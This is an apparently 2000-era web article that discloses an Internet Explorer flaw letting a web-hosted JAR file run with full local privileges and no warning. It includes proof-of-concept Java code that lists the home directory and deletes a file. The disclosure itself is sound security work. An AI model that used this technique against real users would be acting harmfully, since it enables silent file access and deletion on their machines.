|
What do you think of this?
Let us know in the JavaBoutique Forum!
New Security Vulnerability Found in Internet Explorer (IE4, IE5) Where the Java(TM) Run-Time Environment (JRE) is Installed.
Introduction:
This vulnerability allows Java executable binary code to be run from a browser (IE4 & IE5) on a client machine where JRE is installed without giving any security warning.
This allows any Java standalone application to be executed on a client machine with similar privileges as any other local Java standalone application.
A hosted website has full access to the client machine, and can list, delete and modify any of the files on the client machine.
We believe this is a severe security vulnerability, since the application is able to bypass all the security restrictions which are usually applied to applets running off a web-browser.
Detail Description:
For demonstration purposes, we write a simple GUI application in Java, which lists the contents of a directory given by the "user.home" System property in Java.
We then write the manifest file of this application, and put all of the class files along with the manifest file in a Java ARchive (JAR) file.
We then host the JAR file on a web-server.
If a user using the IE browser then chooses to run this file from it's current location, it is executed like any other local standalone Java application.
It thus has full access privileges to the system resources including local hard-drives, socket connection etc.
In this demonstration example, we delete a file called "deleteme.txt" in the directory defined as "user.home" System property in Java.
The most noticeable thing here is that we do not get any security warning by the IE browser when this JAR file is run from it's current location.
This behavior is contrary to running a windows platform-specific binary executable file (exe), in which we do get a security warning about the authenticity of the source.
This enables the end-user to choose whether he wishes to run the exe or not, depending upon his trust on the authenticity of the source.
Netscape always forces the user to save the JAR file, and it never allows it to be run from it's current location.
On the the other hand, IE allows the JAR file to be executed since it is integrated with the OS (Windows Explorer).
Code Listing for IESecurityFlawDemo.Java
import Javax.swing.*;
import Java.io.File;
public class IESecurityFlawDemo extends JFrame
{
JTextArea textArea;
public static void main(String args[])
{
new IESecurityFlawDemo();
}
public IESecurityFlawDemo()
{
super("Host files lising...");
setDefaultCloseOperation(3);
// 3 seems to be the value for WindowContants.EXIT_ON_CLOSE
getContentPane().setLayout(new Java.awt.BorderLayout(10, 10));
String userHome = System.getProperty("user.home");
getContentPane().add("South", new JLabel("Listing of dir " + userHome));
File homeDir = new File(userHome);
File[] listHome = homeDir.listFiles();
String msg = "";
for(int i = 0; i < listHome.length; i++) {
if(listHome[i].isDirectory() == true)
msg = msg + listHome[i].getName() + "/\n";
else
msg = msg + listHome[i].getName() + "\n";
}
textArea = new JTextArea(msg, 15, 7);
getContentPane().add("Center", new JScrollPane(textArea));
pack();
getContentPane().setSize(getContentPane().getPreferredSize());
setVisible(true);
// Now this code further deletes a file in directory defined by user.home
// For demonstration we create a file called deleteme.txt in user.home dir
// and then the file gets deleted when we run this application.
File fileToDelete = new File(homeDir + File.separator + "deleteme.txt");
fileToDelete.delete();
}
} // end of class IESecurityFlawDemo
Also we need to write a manifest file "manifest.mf" as shown here.
Code Listing for manifest.mf
Manifest-Version: 1.0
Main-Class: IESecurityFlawDemo
We bundle the class file and manifest file into a jar file using following command line:
jar cvfm IESecurityFlawDemo.jar manifest.mf IESecurityFlawDemo.class
Workaround:
Apparently, disabling Java in the security settings in IE does not seem the help the matter, as the application is still executed.
The only solution seems to be that JAR files should not be run off a network, as it fails to give any authentication of the source.
Behind the scenes:
This security vulnerability can be attributed to the integration of the IE browser with the OS (Windows Explorer), thus allowing IE to perform operations which can otherwise only be performed with Windows Explorer.
In Windows Explorer, files are registered with the appropriate applications.
For example, doc files are associated with Microsoft Word.
When we try to open such a file, the OS delegates it to the registered application, which handles it in it's own way.
In the case of JAR files, the associated application is the Java Run time Environment.
The JRE behaves as an application to the native OS, but for the JAR files, it behaves as an OS.
If an appropriate manifest file is included in a JAR file, it behaves as an executable binary code which can be run by the JRE.
For stand-alone applications, there are no security restrictions posed by the JRE.
In this way, it allows JAR files to access system resources including the file system.
When a JAR file is executed from IE, it treats it as an application file, and delegates it to the JRE.
The JRE in turn thinks that the JAR file is coming form the local hard drive, due to the inherent integration of IE with the OS.
Thus the JAR files are executed without any security checks, unlike in the case of applets.
A malicious programmer intent on causing harm to the end-user can use this vulnerability.
However IE treats windows executables (exe) in a different way, giving a security warning, and also specifying the authenticity of the source, if any.
Similarly, JAR files are also executables.
However no security checks are performed when they are ported and executed across a network.
We believe this is a severe security vulnerability, since the application is able to bypass all the security restrictions which are usually applied to applets running off a web-browser.
This defeats the very purpose of having applets with all the security restrictions, since we are now able to run even standalone applications across a network, bypassing all the security imposed by the browser and the JRE.
We also think that resolving this specific vulnerability will not make IE less prone to the future virtual machines executables.
This bug will always arise as long as any web browser is integrated with the OS.
Note:
For demonstration check out the site http://gozips.uakron.edu/~patni/iebug.htm
It will be available after 5:00 EST on 02/25/00.
Demonstration Applet
More information on the Java House Mailing List Archive
Chandra Patni (patni@email.com),
Junaid Bhatra(topquark7@yahoo.com)
New on the Java Boutique:
New Review:
Time Management Made Easy with the Quartz Enterprise Job Scheduler
Why not just use the Java timer API? This open source scheduling
API boasts simplicity, ease-of-integration, a well-rounded feature
set, and it's free!
New Applet:
Reverse Complement
Reverse Complement is a simple applet that converts DNA or RNA
sequences into three useful formats.
Elsewhere on internet.com:
WebDeveloper Java
Lots of Java information on webdeveloper.com
WDVL Java
Thorough Java resource at the Web Developer's Virtual Library.
ScriptSearch Java
Hundreds of free Java code files to download.
jGuru: Your View of the Java Universe
Customizable portal with online training, FAQs, regular news updates, and tutorials.
| 
